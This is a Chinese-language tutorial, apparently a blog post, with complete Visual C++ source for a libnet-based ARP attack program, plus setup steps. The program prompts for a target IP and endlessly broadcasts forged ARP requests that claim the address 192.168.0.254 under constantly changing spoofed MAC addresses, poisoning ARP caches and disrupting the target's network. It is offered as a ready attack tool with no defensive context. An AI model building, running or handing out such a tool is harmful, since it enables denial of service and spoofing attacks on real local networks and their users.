使用libnet构造源mac持续更新的arp攻击程序

1、开发使用的libnet的版本为libnet-1.1.2.1，在编程之前要编译libnet.dll。编译libnet.dll成功之后，把libnet.lib引入库加到vc project菜单中setting目录下的object/library modules选项中.
2、使用VC的向导建立一个win32 console的空白程序，然后主程序修改如下：
// SendARP.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "win32/libnet.h"
#include "stdio.h"

#define IPADDRMAXSIZE 16

void main(int argc, char** argv)
{
int packet_size;
libnet_t *l=NULL;
libnet_ptag_t protocol_tag;
char *device=NULL;
char error_information[LIBNET_ERRBUF_SIZE];

char *destination_ip_str;
destination_ip_str=(char *)malloc(sizeof(char)*IPADDRMAXSIZE);
printf("请输入攻击的目的主机ip：/n");
scanf("%s",destination_ip_str);
printf("开始攻击：/n");

char *source_ip_str="192.168.0.254";
u_char hardware_destination[6]={0x00,0x00,0x00,0x00,0x00,0x00};
u_long destination_ip;
u_long source_ip;
destination_ip=libnet_name2addr4(l,destination_ip_str,LIBNET_RESOLVE);
source_ip=libnet_name2addr4(l,source_ip_str,LIBNET_RESOLVE);
u_char hardware_source[6];

while (1) {
for(hardware_source[0]=0x01;hardware_source[0]<0x0e;hardware_source[0]++)
{
for(hardware_source[1]=0x01;hardware_source[1]<0x0e;hardware_source[1]++)
{
for(hardware_source[2]=0x01;hardware_source[2]<0x0e;hardware_source[2]++)
{

for(hardware_source[3]=0x01;hardware_source[3]<0x0e;hardware_source[3]++)
{

for(hardware_source[4]=0x01;hardware_source[4]<0x0e;hardware_source[4]++)
{
l=libnet_init(LIBNET_LINK_ADV,device,error_information);
for(hardware_source[5]=0x01;hardware_source[5]<0x0e;hardware_source[5]++)
{

u_int16_t type=0x0806;
u_char hardware_destination_eth[6]={0xff,0xff,0xff,0xff,0xff,0xff};
// protocol_tag=libnet_autobuild_ethernet(hardware_destination_eth,ETHERTYPE_ARP, l);//不要用这个函数，这个函数自动建立的以太网头部的目的mac是全0，这样对方主机收到之后就不会回复arp response。
protocol_tag=libnet_build_arp(ARPHRD_ETHER,ETHERTYPE_IP,6,4,ARPOP_REQUEST, hardware_source,(u_int8_t *)&source_ip,hardware_destination,(u_int8_t *)&destination_ip,NULL,0,l,0);
protocol_tag=libnet_build_ethernet((u_int8_t *)hardware_destination_eth, (u_int8_t *)hardware_source,type,NULL,0,l,0);
packet_size=libnet_write(l);
Sleep(10);
}

// printf("%s:,发送一个%d 字节长度的ARP应答数据包/n",error_information,packet_size);
}
}
}

}

}

}

libnet_destroy(l);
}